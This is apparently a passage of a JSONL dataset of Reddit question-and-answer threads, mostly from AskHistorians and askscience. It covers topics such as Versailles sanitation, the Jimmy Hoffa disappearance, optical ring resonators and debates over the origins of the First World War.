bubbles to rise against a density gradient (caused by local heating). Granted, the surface will locally cool because of evaporative cooling, and steam will come off of a microwaved teacup - and eventually convection will play a bigger role, with time, once out of the microwave... but there's a time element to this, since kinetics is motion, and molecular motion takes time, and the evaporation takes time... but we're mostly interested in \"time sub zero\" or the initial conditions (after you take the cup out of the microwave or from the kettle). In a kettle - it typically takes a bit longer to come to temperature, so there's more time for dissolved gasses to escape.\n\nWhen you pour in sugar you disturb the homogeneity of the isotherm from the microwaved water and you get nucleation points which lower the energy required for water to go to steam by affecting the vapor pressure around the tiny grains of sugar. The equilibrium shifts toward the vapor phase and you get some effervescence from the tiny steam bubble that you've liberated by making the isotherm not \"iso\" - you've changed the kinetics to more rapidly go forward into the vapor phase.\n\nHopefully this helped, if you want more equations relevant to this I can crack open some of my old textbooks for you.", "Can these differences in heating change how the water behaves from a cooking standpoint?\n\nLike using microwaved water in place of boiling water. For instant oatmeal, for example. Not microwaving the food in the water just using microwaves water with the food. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://upload.wikimedia.org/wikipedia/commons/thumb/0/08/Phase_diagram_of_water.svg/700px-Phase_diagram_of_water.svg.png", "http://www.youtube.com/watch?v=kp33ZprO0Ck"], []]}
{"q_id": "1hsqxw", "title": "What country has the best track record for human rights?", "selftext": "I'm assuming it will be a northern european country but I don't know much about their history so have no idea...\n\nEdit:\n\nThis question was inspired by another redditor comparing Venezuela to the USA in terms of human rights.\n\nWhat I really want to know is who have upheld these rights the most. Or conversely, who has violated them the least.\n\nIt would be nice to get some comparisons as well so we can truly see how much better/worse these countries are when it comes to human rights.\n\nPersonally I'd like to see how the USA compares to the best and the worst.  As well as maybe some other western countries. Like the UK and Canada (as you can see I'm biased towards Engliah speaking countries which are probably boring. Use whichever countries you like!)\n\nI know the human rights act came into action around 1998 but that feels too recent to be representative. So lets say between now and the beginning of the 20th century.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hsqxw/what_country_has_the_best_track_record_for_human/", "answers": {"a_id": ["caxkb26", "caxm85v", "caxmfha", "caxnvdr"], "score": [3, 16, 6, 2], "text": ["[Argentina is the country that has ratified the most UN human right treaties](_URL_0_).\n\nBut this is a very broad question, would you care to elaborate? What do you mean by track record?", "The problem with this question is that there is no universally agreed upon definition of human rights. Different publics adhere to different moral worldviews, so you'll get different answers depending on how these rights are defined. For example, each year the US State Department releases a human rights report cataloguing rights abuses in countries around the world, with an emphasis on political rights. In response, the Chinese government releases a human rights report on the US according to their own conception of human rights, emphasizing social and economic rights. There are international legal structures which attempt to define and enforce some rights (typically according to a Western/liberal conception of rights), but this is a far cry from anything like a comprehensive consensus on what exactly are human rights. ", "This is a really difficult question to answer and it seems it really can not be answered. \n\nFirstly, [human rights](_URL_1_) are rights that are held by all human beings by virtue of being human held equally by all people and cannot be surrendered or erased even if no law guarantees them. Many are laid out by the [Universal Declaration of Human Rights](_URL_0_) advised by the United Nations, agreed upon by various states, and often worked into domestic law to make them enforceable. Humans rights therefore, are innate, yet the idea of human rights has had a long development. The idea of human rights developed out of morality and then added upon by ideas from the French Revolution, The U.S. Revolution, the Cold War powers, and modern society.\n\nRights are both positive and negative. Positive rights require action on the part of another, typically the state, such as schooling. Negative rights require others to not interfere such as freedom of speech. The lines between negative and positive are thin as freedom of speech requires the state not interfere while it also requires them to give access to means of expression such as literacy. Human rights, to an extent, require collective consciousness and collective action. \n\nAs you can see, human rights require many different actors to create and defend something so basic. Many people disagree about what human rights are real and which are cultural however most would argue that human rights are, in fact, innate and not cultural. However, just because human rights are innate does not mean countries will take different approaches to them. For example, the United States values human rights and therefore provides some positive rights like education and the right to an attorney and likewise provides some negative rights like free speech and freedom of assemble. However, the human right of a place to live or the right of employment is not applied. Likewise, in a country like Cuba citizens have an innate right to employment and housing but lack otherwise basic rights like freedom of speech, or political parties. \n\nSo, to answer this question one must step back and view the world as a whole beyond each cultures or political unit's often convenient idea of which human rights are important. Many organizations do attempt to do this. \n\n-Based on political rights and civil liberties [Freedom House](_URL_5_)\n\n-If you want to see a map of each countries rights based off of 24 human rights [MapleCroft Human Rights Risk Index](_URL_6_)\n\n-If you want to see an individual country's data [Amnesty International Report](_URL_3_)\n\n-These trends tend to match up with the [Human Development Index](_URL_4_)\n\nTL;DR It depends but. No country  is perfect, so help out [here.](_URL_2_)", "It depends what kind of rights you're talking about.  \n\nThere are natural rights, which you have simply by virtue of being human.  \n\nTypically, those would be called negative rights.  For example the right to life is not the same as the right to access the stuff you need to stay alive, it just means you have a right not to be killed.  The right to liberty is not the right to the means to make your desires come true, it means you have a right not to have your freedom taken away.\n\nIt follows that there are certain articles in the UN charter, for example, which cannot technically be achieved without coercing others into giving up some of their natural rights.  \n\nFor example, if you say \"everyone has a right to a roof over their head\", do you force housebuilders to build houses in order to deliver that right?  Some would call that slavery, since they would be working against their will, which is an infringement of a natural right.  \n\nSo, it's complicated..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ucl.ac.uk/spp/research/research-projects/nchr"], [], ["http://www1.umn.edu/humanrts/edumat/hreduseries/hereandnow/Part-5/8_udhr-abbr.htm", "http://www.ohchr.org/EN/Issues/Pages/WhatareHumanRights.aspx", "http://www.amnestyusa.org/get-involved?utm_expid=44777695-26&amp;utm_referrer=http%3A%2F%2Fwww.amnestyusa.org%2F", "http://www.amnesty.org/en/annual-report/2012/country-data", "http://hdr.undp.org/en/data/map/", "http://www.freedomhouse.org/report-types/freedom-world", "http://reliefweb.int/map/world/world-human-rights-risk-index-2013"], []]}
{"q_id": "256ooy", "title": "How filthy was Versailles? Why was it allowed to be so?", "selftext": "Watching a documentary called *Filthy Cities*, I saw an episode on Revolutionary Paris. It demonstrated how appallingly disgusting Paris was at the time, and how the retched unsanitary conditions helped spark revolt. Later on the episode it talked about the famous Palace of Versailles, and said that the famous palace had very few toilets, and as a result most of the guests had to relieve themselves behind pillars and curtains, making the entire palace was reeking open sewer. \n\n\n\nWhy would a place of such prominence and power as Versailles be built with such a critical flaw? Surely the designers knew it would house a large number of people, why didn't they build sufficient sewage systems to accommodate them? All the fancy sculptures and gold in the world seem like they'd be let down by piles of reeking shit in all the corners. Why would Versailles be allowed to be so filthy?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/256ooy/how_filthy_was_versailles_why_was_it_allowed_to/", "answers": {"a_id": ["checxv3", "ched7ri", "cheelkv", "cheeoq5", "chejt1k"], "score": [506, 64, 42, 54, 3], "text": ["Versailles was built on and off from around 1664-1710, in a time when efficient sewage systems weren't really a common thing, and Versailles was built in a small, rural village, so it wasn't like there was an already established sewer system that the builders could have easily tapped into. Therefore, it can't be called a critical flaw. What they did have in abundance were buckets/chamber pots/ fancy chairs with a whole in the seat and a bucket below it, as well as copious amounts of servants who would regularly clean up. Most people weren't doing their business right on the floor, but it could have happened.\n\nTo answer your questions more directly, it would have been filthy by today's standards, yes. Aside from the previously mentioned bodily wastes which weren't whisked away with modern flush toilets, the remodeling of the palace over the years meant that the chimneys didn't work particularly well, so it got quite smokey/sooty inside. And of course, people bathed less frequently than they do now, so in general people didn't smell as nice. As to why it was allowed to be so filthy? Well, standards of hygiene and cleanliness have changed in the last 300+ years, and what you consider filthy people hundreds of years ago would have called clean.\n\nAll that being said, there's a lot of assumptions on French hygiene floating around that are rather prejudiced. In researching the answers to your questions, I've found a lot of repeated rumors about the lack of toilet facilities and the \"piles of shit\" in the corners. This seems to go along with countless stereotypes about the French people and their supposed lack of hygiene. After the French Revolution and the monarchy was dissolved, anything pertaining to that era was seen as negative, backwards, disgusting even. Fashions changed in order to avoid associations with the ostentatious lifestyle at Versailles, and nasty rumors started about the monarchs and their lives. These rumors included the myth that these fancy, wealthy nobles were just shitting all over the floor of their fancy palaces. In actuality, through all the regular renovations of Versailles, it was modernized with the required facilities. \n\ntl;dr While hygiene has drastically improved since the French Revolution, Versailles wasn't nearly as disgusting as you think.", "Indoor sanitation wasn't a huge priority for the 17th-18th century court.  Public urination in particular was rather common throughout Western Europe ([Source](_URL_1_)).  That's not to say that it was entirely accepted by everyone: when Frederick the Great built the Sans Souci palace, he had to post a sign forbidding his courtiers from urinating in the Grand Portico.  And at Versailles in 1762, the comte de Compans complained about the kitchen boys \"attending to their needs\" outside his bedroom; the kitchen boys responded in time by \"breaking his windows.\" ([Source](_URL_0_))\n\nSimply adding bathrooms was not the solution, as the latrines at Versailles stank as well.  In 1785 one privy in particular got so bad that seven people with rooms in the vicinity filed a complaint, saying that \"The smell penetrates the lodgings...and infects furnishing, clothes, and linen\" and that it attracted \"certain riffraff who use it as a meeting place.\"", "Just going to elaborate on /u/GuineaGuyanaGhana's informative post. :)\n\nFirstly, the French were not the only ones who [relieved themselves in the corners of rooms](_URL_0_).\n\nWhile I'm sure some people did relieve themselves in hallways and corners by necessity, it was much more common in the times/areas where construction was happening in the palace. Chamber pots existed and most private rooms would have contained one that would be emptied by servants. If you were a woman and needed to relieve yourself while wearing a dress, a lady of means would use a *bourdaloue* (a fancy chamber pot) [under her dress](_URL_3_), usually behind a curtain if she were in public.\n\nNow, on to why the palace had sewage problems to begin with and why they weren't addressed effectively. Versailles was originally a [hunting lodge used by Louis XIII](_URL_2_). Louis XIV had fond memories of the area as a child, so when he wanted a new country retreat, he decided to build his palace around his father's old hunting lodge. (The [original structure](_URL_1_) is still there and enveloped by the current palace.)\n\nThis is the reasoning for the palace being in a very specific place. The sewage problem was a symptom of the location; there were no large reservoirs of water nearby to sustain the populace or drain sewage from the palace. This lack of water was a problem for Louis XIV and subsequent French kings using the palace; it's been estimated that a third of the money spent on Versailles by Louis XIV was used in an attempt to solve the water issue.\n\nTL;DR If you're going to build a huge palace, do it near a decent water source.\n\n**Artwork referenced:**\n\nAaron Martinet (publisher), *L'apr\u00e8s Din\u00e9e des Anglais*, c. 1814\n\nFran\u00e7ois Boucher, *La Toilette intime (Une Femme qui pisse)*, c. 1760's\n\nJacques Gomboust, *Vignette from the 1652 Paris map by Gomboust, showing the Ch\u00e2teau de Versailles as constructed*, c. 1630\u20131640", "The vast correspondance of the  \"[Princess Palatine](_URL_0_)\", the Duke of Orl\u00e9ans' (younger brother of Louis XIV) wife, provides a detailed account of the personalities and activities at the court of her brother-in-law.\n\nIn a letter dated back to the 9th october 1694 she tells her aunt Sophie, Duchess of Hanover, what a pain it can be to \"shit\" (she actually uses the word \"chier\") at the [Fontainebleau Palace](_URL_1_).\n\nExcerpt (courtesy translation): \"I esteem you to be happy to shit whenever it pleases you ; [...]. It's not the same over here, I'm obliged to keep my pile of fecal matter until the night ; [... she explains that she lives in one of the houses attending the forest, that are not equipped with any lavatory facility], consequently I am chagrined to shit outside and that annoys me because I like to shit conveniently and I do not shit conveniently when my ass is not rested anywhere.\"\n\nSource (in french): [Here](_URL_2_).\n\nEdit: Some minor changes in my references had to be made.", "Speaking of \"relieving oneself on the floor,\" my humanities professor told me that the large skirts/dresses that women wore in that time were as such so women could relieve and not indecently expose themselves. Is this true?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://books.google.com/books?id=K-Hn72aft-cC&amp;lpg=PP1&amp;pg=PT156#v=onepage&amp;q&amp;f=false", "http://books.google.com/books?id=cgCiAgAAQBAJ&amp;pg=PA112&amp;#v=onepage&amp;q&amp;f=false"], ["http://www.fitzmuseum.cam.ac.uk/gallery/viveladifference/images/760/34.13-179.jpg", "http://en.wikipedia.org/wiki/History_of_the_Palace_of_Versailles#Second_building_campaign", "http://upload.wikimedia.org/wikipedia/commons/9/99/Versailles_on_the_1652_map_of_Paris_by_Gomboust_-_Gallica_2012.jpg", "http://upload.wikimedia.org/wikipedia/commons/thumb/9/91/Fran%C3%A7ois_Boucher_-_La_Toilette_intime_%28Une_Femme_qui_pisse%29%2C_1760s.jpg/476px-Fran%C3%A7ois_Boucher_-_La_Toilette_intime_%28Une_Femme_qui_pisse%29%2C_1760s.jpg"], ["http://en.wikipedia.org/wiki/Elizabeth_Charlotte,_Princess_Palatine", "http://en.wikipedia.org/wiki/Palace_of_Fontainebleau", "http://www.freres-goncourt.fr/bergeratGautier/palatine.htm"], []]}
{"q_id": "1doeta", "title": "Could you \"trap\" light in a medium by perfectly refracting it in multiple media configured in a circle shape?", "selftext": "I don't know if it's even possible but if it was then what would we be able to see?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1doeta/could_you_trap_light_in_a_medium_by_perfectly/", "answers": {"a_id": ["c9s9aco", "c9s9x4l", "c9saq4j", "c9savfz", "c9sc2fy", "c9ser5u", "c9sez4z"], "score": [93, 6, 44, 2, 3, 2, 4], "text": ["If you really did trap it, you would not see anything since seeing it means some got away.", "Actually, yes it is possible. I can't find any material on it but some teams have assembled circular resonating cavities designed to act as photon storage devices. Not much would be visible though, otherwise light would be escaping the cavity at an appreciable rate.", "What you're talking about is an [optical ring resonator](_URL_1_) which is a type of [optical cavity](_URL_0_).\n\nYou can trap the light in a ring, but there a few limitations.\n\nThe ring has to be coupled to the environment in order to get light in. If there's a way for light to get in there must be a way for light to get out.\n\nWe can't make anything perfect, small imperfections will eventually absorb the light or scatter it away.\n\ntl;dr Ring cavities already exist and you can use them to trap light, but the light won't stay there forever.", "This sounds like [total internal reflection](_URL_0_), the principle behind fiber optics", "One scientist actually found a way to basically \"trap\" light:\n\n_URL_0_", "My area of expertise is nano-photonics. In practice, you could never build a device that would do this because no material is 100% reflective. Even the best materials still absorb some light.", "A black hole does this in the photon sphere"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Optical_cavity", "http://en.wikipedia.org/wiki/Optical_ring_resonators"], ["http://en.wikipedia.org/wiki/Total_internal_reflection#Applications"], ["http://www.radiolab.org/2013/feb/05/master-universe/"], [], []]}
{"q_id": "17aw9m", "title": "This is a strange, and perhaps even silly, question, but...", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/17aw9m/this_is_a_strange_and_perhaps_even_silly_question/", "answers": {"a_id": ["c83tcj6"], "score": [2], "text": ["The answer to that is kind of subjective. For example, in many single celled organisms, the parent cell will replicate its DNA, divide its organelles in half, and split evenly into two \"daughter cells\". Now do you consider the daughter cells to be two new lives? (each has about half of it's organelles newly synthesized and half leftover from the parent cell) or is one the parent and one the offspring? \nIn organisms with multiple chromosomes, the daughter cells each have a genome that is distinct from the parent cell due to chromosomal recombination. In this case, the parent cell doesn't die exactly, but it no longer exists, with respect to genetic identity. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6p8u4t", "title": "Where is Jimmy Hoffa? Is his disappearance one of those mysteries that's only a mystery in public imagination? Is there a \"Yeah, we haven't found his body, but this is almost certainly what happened...\" thing going on with the case? Or no?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6p8u4t/where_is_jimmy_hoffa_is_his_disappearance_one_of/", "answers": {"a_id": ["dknmmb7", "dkopto8"], "score": [570, 396], "text": ["Also to add: how did Jimmy Hoffa and *his* disappearance become a wide pop culture phenomenom?  Many people have disappeared but Jimmy Hoffa's has been the reference to go to. Why? ", "I suggest to you that Jimmy Hoffa's disappearance lies at the intersection of three factors: celebrity, mystery, and death. I'll explain here what the best explanation for Hoffa's disappearance is and, in a nod to /u/cozyduck's question below, offer some educated speculation about why he remains a pop culture reference.\n\nAt the time of his disappearance in the summer of 1975, Hoffa was a national figure. Even if an American didn't follow him regularly, they certainly knew who he was. In the 1970s, the Teamsters boasted a membership of more than 2 million \u2500 very nearly 1 percent of the entire country. They were a political force and a social force, though I would contend they were trending toward a *conservative* force instead of the liberalizing force they were in the 1930s and 1940s. \n\nThe Teamsters of the time had a dark side, however. It had deep ties to organized crime. In the case *United States v. International Brotherhood of Teamsters*, this dark side came into full light. As part of the lawsuit's settlement, the Teamsters agreed to a trusteeship that purged hundreds of corrupt officials and resulted in the creation of an independent review board to oversee the union.\n\nMafia influence in the Teamsters was alleged as far back as the 1940s and 1950s, sometimes extremely publicly. The U.S. Senate Select Committee on Improper Activities in the Labor Management Field reported in 1958 that union president Jimmy Hoffa had extensive contacts with organized crime. Hoffa, speaking in his defense in front of the committee, exchanged barbs with committee counsel Robert Kennedy (yes, that Kennedy), and both gained national repute as a result. Hoffa was [nicknamed the 'Napoleon of Teamsters' by the *New York Times*.](_URL_1_)\n\nWhile Hoffa was re-elected as president of the Teamsters, Kennedy became attorney general and made prosecuting Hoffa a priority. In 1964, Hoffa was convicted of pension fraud and jury tampering, then sentenced to jail. His handpicked successor, Frank Fitzsimmons, became the union's president. After his release from prison in 1971, Hoffa began a campaign to resume his presidency, even though he was officially barred from union activity for a decade. Hoffa was fighting that ban in court and in the court of public opinion.\n\n*Busting the Mob: The United States v. Cosa Nostra* devotes an entire chapter to the 1989 *U.S. v. Teamsters* case and gives a simple explanation of the background behind that case, including Hoffa's circumstances. \n\nThe most common theory behind Hoffa's disappearance is that elements of organized crime feared that Hoffa's resurgence would rekindle scrutiny of the Teamsters. This, in turn, would endanger the mafia's influence within the union. If Hoffa were out of the picture, the scrutiny would disperse \u2500 or so the story goes. Another version of the story is that Hoffa was preparing to blow the lid on the corruption within the Teamsters and thus portray himself as a redeeming force vying to clean the institution. [There were no shortage of explanations at the time.](_URL_5_)\n\nFreedom of Information Act requests by the *Detroit Free Press* in 2006 led to the publication of [the Hoffex Memo](_URL_7_), which details the FBI's best contemporary information and theory about Hoffa's disappearance. The FBI has subsequently declassified almost all of its Hoffa file, [which is available online](_URL_3_). Subsequent books, such as *\"I Heard You Paint Houses\": Frank \"The Irishman\" Sheeran  &  Closing the Case on Jimmy Hoffa* have also claimed to shed light on the case.\n\n**While [no definitive evidence as to Hoffa's fate has been revealed in the 40 years since his disappearance](_URL_0_), a preponderance of the evidence indicates Hoffa was killed in an orchestrated action involving people who believed they were acting in the interests of the Teamsters, and elements of organized crime.** This is detailed in the FBI's own files as well as supporting non-FBI sources.\n\nNo charges were ever brought against individuals because of a lack of evidence that would have allowed the FBI to indict an individual. Despite that, there is ample evidence to point to agencies that had motivation, means and motive to kill Hoffa. Think of it this way: Without eyeglasses, a person might not be able to discern the tip of a pencil. It appears fuzzy to them. But even with fuzzy eyesight, a person can see that it is a pencil and know which end to write with, even if the tip isn't visible.\n\n***\n\nBut why has Hoffa's disappearance lingered in the American consciousness?\n\nLook to the intersection of celebrity, mystery, and death, and look to other examples. The most famous American disappearance of the 20th century wasn't Jimmy Hoffa: It was Amelia Earhart. Her vanishing act in 1937 mobilized the U.S. Navy to search for her. She certainly was a celebrity at the time of her disappearance (which remains unsolved), and her vanishing act almost certainly resulted in her death.\n\nBefore Jimmy Hoffa became a pop culture punchline, and before Amelia Earhart took her last flight, there was Judge Crater. On August 6, 1930, New York Supreme Court Justice Joseph Force Crater disappeared from a Manhattan curbside and was never seen again. His disappearance [sparked a nationwide search](_URL_6_), and after it remained unresolved, he became a punchline, with stand-up comedians occasionally interrupting their routines to ask that [Judge Crater please call his office](_URL_4_).  \n\nThere is no doubt that Hoffa was a celebrity at the time of his disappearance. The *New York Times* television critic [referred to him](_URL_5_) as one of several \"media brats\" in a May 1975 column. Hoffa appeared on Dinah Shore's talk show in 1974. Dick Cavett featured Hoffa on his TV show in 1973. The year before, he appeared on William Buckley's famed *Firing Line*. \n\nHoffa's disappearance was seen almost immediately as a violent one. Given his past (Thaddeus Russell's *Out of the Jungle: Jimmy Hoffa and the Remaking of the American Working Class* is useful here), speculation [immediately centered on organized crime](_URL_2_). That turned the case into a classic who-dun-it crime mystery, with an abundance of suspects and plot lines to unravel. \n\nThat, in the end, is why I believe Hoffa's disappearance has lingered in American minds: The same intersection of mystery and death that drives demand for mystery novels drives interest in mystery non-fiction. The same dread attraction of violence that inspires examinations of serial killers inspires a look at Hoffa's case. Eventually, given enough time, Hoffa too will fade as a touchstone. With the death of each person who remembers him, Hoffa takes another step away from pop-culture touchstone and toward the fate of Judge Crater.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.freep.com/story/news/local/michigan/oakland/2015/07/29/hoffa-disappearance-anniversary-teamsters/30862419/", "http://www.nytimes.com/1956/03/23/archives/napoleon-of-teamsters-james-riddle-hoffa-a-network-of-alliances.html", "http://query.nytimes.com/mem/archive/pdf?res=9D02E5D8113AE034BC4A53DFBE66838E669EDE", "https://vault.fbi.gov/jimmy-hoffa/", "http://www.history.com/this-day-in-history/joseph-force-crater-becomes-the-missingest-man-in-new-york", "http://www.nytimes.com/1975/08/14/archives/theories-on-hoffas-disappearance-range-from-a-mob-hit-to-personal.html?_r=0", "http://query.nytimes.com/mem/archive/pdf?res=9C0DE0D81E3FE432A25757C0A96F9C946194D6CF", "http://www-tc.pbs.org/opb/historydetectives/static/media/downloads/2014-07-21/The_Hoffex_Memo_--_Barnes_Ashenfelter_version.pdf"]]}
{"q_id": "32mza3", "title": "Was it common in history for landowners to sell their woods for timber before forfeiting them? Or, on a related note, was it common to deforest the lands of the enemy?", "selftext": "I recall reading that many of the Hebridean isles of Scotland were deforested, with the trees sold for timber, by owners who whose lands were possessed after the English Civil Wars. (I have hunted about for the right quote in Boswell's *THE JOURNAL OF A TOUR TO THE HEBRIDES*, but cannot find anything but a few remarks by Samuel Johnson.)\n\nThere is some mention of forfeited estates being bought by a timber company, and other details [here](_URL_0_).\n\nAnyway, my question is essentially as stated in the title - is there much talk of people selling the timber of their lands before having them seized?\n\nOn the related note, I read in Henry Miller's *The Colossus of Maurossi*:\n\n >  The Turks, in their fervid desire to desolate Greece, converted the land into a desert and a graveyard; since their emancipation the Greeks have been struggling to reforest the land. The goat has now become the national enemy.\n\nand was wondering if this was common practice.\n\n\nI know this question is somewhat abstruse, so cheers in advance if anyone knows anything.\n\n-Jimmy", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/32mza3/was_it_common_in_history_for_landowners_to_sell/", "answers": {"a_id": ["cqcrhgh"], "score": [3], "text": ["hi! Could you clarify the scope of this question? Are you mainly asking about practices in Scotland / the British Isles roughly around the Civil Wars, or landowners anytime anywhere? [hint: [say the former](_URL_0_) ]"]}, "title_urls": [], "selftext_urls": ["https://books.google.com/books?id=a04GAQAAIAAJ&amp;pg=PA197#v=onepage&amp;q&amp;f=false"], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22in_your_era.22_or_.22throughout_history.22_questions"]]}
{"q_id": "3m03xm", "title": "NSFW How did people deal with erectile dysfunction before modern medicine?", "selftext": "Are there any records of remedies or cures?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3m03xm/nsfw_how_did_people_deal_with_erectile/", "answers": {"a_id": ["cvat713"], "score": [11], "text": ["Believe it or not... [I have partially answered this one before.](_URL_0_) "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/1ou67q/is_sexual_anxiety_performance_issues_for_men_a/ccvvzen"]]}
{"q_id": "195ux4", "title": "Who was the greatest Vice-President in U.S. history (excluding those who later became President) and why?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/195ux4/who_was_the_greatest_vicepresident_in_us_history/", "answers": {"a_id": ["c98086t"], "score": [2], "text": ["I know this was a month ago, but I'll do my best to explain it nonetheless since this didn't really get an answer. There are two ways to look at this. You could either take \"greatest\" in who did the best job, or \"greatest\" in terms of who was most active. Dick Cheney fits the latter by a mile, but that is due to recent developments of the position, plus he was incredibly controversial in his role. If we go by more objective roles, there are two possibilities. The first is Walter Mondale, who took his role as elder statesman seriously, and was very much an activist president. The second is Garret Hobart, the first vice president who really did anything at all. He was William McKinley's right hand man during his tenure, and was affectionately nicknamed \"Assistant President.\" He died in office, leaving a vacancy in 1900 for someone by the name of Theodore Roosevelt. He has a well-done article on Wikipedia if you want to know more on him."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "38l6qx", "title": "how did the expression \"cold, hard cash\" come into use?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/38l6qx/eli5how_did_the_expression_cold_hard_cash_come/", "answers": {"a_id": ["crvugfx"], "score": [6], "text": ["Coins are made of metal - metal is hard and generally cold to the touch (since metals naturally absorb heat).\n\nThis would be as opposed to say paper money that was (until relatively recently) only a note with a promise that it could be exchanged for an amount of silver or gold."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3vfr31", "title": "How widely accepted in academia are the conclusions drawn about the origins of WWI in Christopher Clark's \"The Sleepwalkers?\"", "selftext": "I just recently finished this book, and Clark seems to make a point of upending a lot of 'conventional wisdom' about the origins of the war, such as the inevitability of the decline of Austria-Hungary, the bully/victim narrative of the A-H/Serbia relationship, etc. \n\nParticularly striking to me was the assertion that French and Russian statesmen created a 'trigger' for a general European war in Balkans by vowing to back Serbian interests against Austria-Hungary without regard for both the legitimacy of Austrian grievances and the bad faith of Serbian actors. As I interpret it, Clark's claim is more or less that France and Russia planned for war, crafted a plausible mechanism it's initiation, and then successfully manipulated the narrative of the July Crisis to ensure they were not painted as the aggressors.\n\nAm I interpreting Clark correctly? Are these conclusions accepted by other historians of WWI, and are there critiques of Clark's research or interpretations? I'd appreciate any insight.\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3vfr31/how_widely_accepted_in_academia_are_the/", "answers": {"a_id": ["cxn8cig"], "score": [7], "text": [" >  that French and Russian statesmen created a 'trigger' for a general European war in Balkans by vowing to back Serbian interests against Austria-Hungary without regard for both the legitimacy of Austrian grievances and the bad faith of Serbian actors. \n\nHe certainly ignores here the fact that Russia urged the Serbs to accept whatever the Austrians gave them in terms of an ultimatum, and that the Serbs did so, only asking that the Hague carry out any investigation on Serbian soil, not partisan Austrian Gendarmes. No one denied that Austria had honest Grievances, the Russians certainly did not want to enable regicides and even Edward Grey was willing to contemplate the 'Halt in Belgrade' towards the crisis' end, but what they did not see was why Austria needed to be as aggressive and heavy handed as it was, especially when Austrian investigators acknowledged that there was no proof of direct Serbian state involvement in the assassination of Franz Ferdinand, an act that was carried out by **Bosnian nationalists** of ethnic Serb, Croat, and Bosniak extraction. In fact, when the Serbs gave their response to the ultimatum, even **Kaiser Wilhelm** suggested 'now there is no reason for war.' \n\n >  Clark's claim is more or less that France and Russia planned for war, crafted a plausible mechanism it's initiation, and then successfully manipulated the narrative of the July Crisis to ensure they were not painted as the aggressors\n\nHe more or less ignores or brushes aside the very real evidence that Germany and Austria-Hungary were looking for a fight with the French and Russians **well before** July 1914. His interpretation of the December 8th 1912 War Council is laughable, based as it is off a reading of the edited diary of Admiral Alexander von M\u00fcller, ignoring what the original actually says:\n\n >  \u2018This was the end of the conference. The result amounted to almost nothing\n\n^ This is the edited version\n\n >  The Chief of the Great General Staff says: War the sooner the better, but he does not draw the logical conclusion from this which is: To present Russia or France or both with an ultimatum which would unleash the war with right on our side\n\n^ that is what it actually said in the original diary. M\u00fcller was not commenting on no decision being made, but that a decision, that in his opinion should have been made then, was **postponed.** Clark also ignores Bethmann-Holweg's prior meeting on November 28th, with members of the Bundesrat, in which he urged support for Austria, and increased military spending. \n\nSo he suggests that Germany was more innocent than it really was; they were looking for an opportunity to break the Entente, and needed the SDP for support, hence the need for Russia to act first. And act first they did in July 1914, mobilizing after Austria shelled Belgrade and ignored Lord Grey's 4 Power Conference solution. Helmut von Moltke was ecstatic when the Russians mobilized, and it was after this that the Germans issued their ultimata and declared war on the Dual Entente, which Clark seems to suggest was only natural when the Entente wanted war, but was in fact the 'only natural' because now the Germans had the opportunity they had been looking for. Russia was the bad guy, Austria-Hungary was at Germany's side, and now the Schlieffen Plan was in motion. If I'm right, he also ignores that Moltke drew up the ultimatum to Belgium on July 26th, well before the war began, in anticipation of it being needed.\n\nI'd also suggest that Stig Forster's findings on Germany and the possibility of a long war give lie to Clark's suggestion of 'Sleep walking' at least in Germany's case, as the possibility of a long, bloody war of attrition was considered highly probable in Berlin, with Arthur Zimmerman even suggesting that the outbreak of a world war from the current crisis was a high probability. One can even look at the modifications Moltke made to the 'Schlieffen Plan', which kept the Netherlands neutral as a 'wind pipe', and increased forces in front of the Saarland, precisely so that Germany's economy would be able to function under siege. \n\nI can understand Clark wanting to put the question of 'German war guilt' (false question that it is) to the side, and his focus on Russia, Austria, and Serbia does help to situate the Conflict back at it's epicenter in Eastern Europe, but it comes at somewhat of a cost, in that Germany comes off, at least IMO, as a lot more 'spotless' than it really was. \n\n* *July Crisis* by Thomas G. Otte\n* *1914-1918: The History of the First World War* by David Stevenson\n* *Helmuth von Moltke and the Origins of the First World War* and *The Origins of the First World War: Controversies and Consensus* by Annika Mombauer\n* *Clio Deceived: Patriotic Self-Censorship in Germany after the Great War* by Holger Herwig (article)\n* *Goodbye to all that (again)? The Fischer thesis, the new revisionism and the meaning of the First World War* By John C. G. Roil (article)\n* *The First World War: Inevitable, Avoidable, Desirable or Improbable? Recent Interpretations of War Guilt and the War's Origins* by Annika Mombauer (article)\n* *Germany and the \"Short-War\" Illusion: Towards a New Interpretation?* by Holger Herwig (article)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
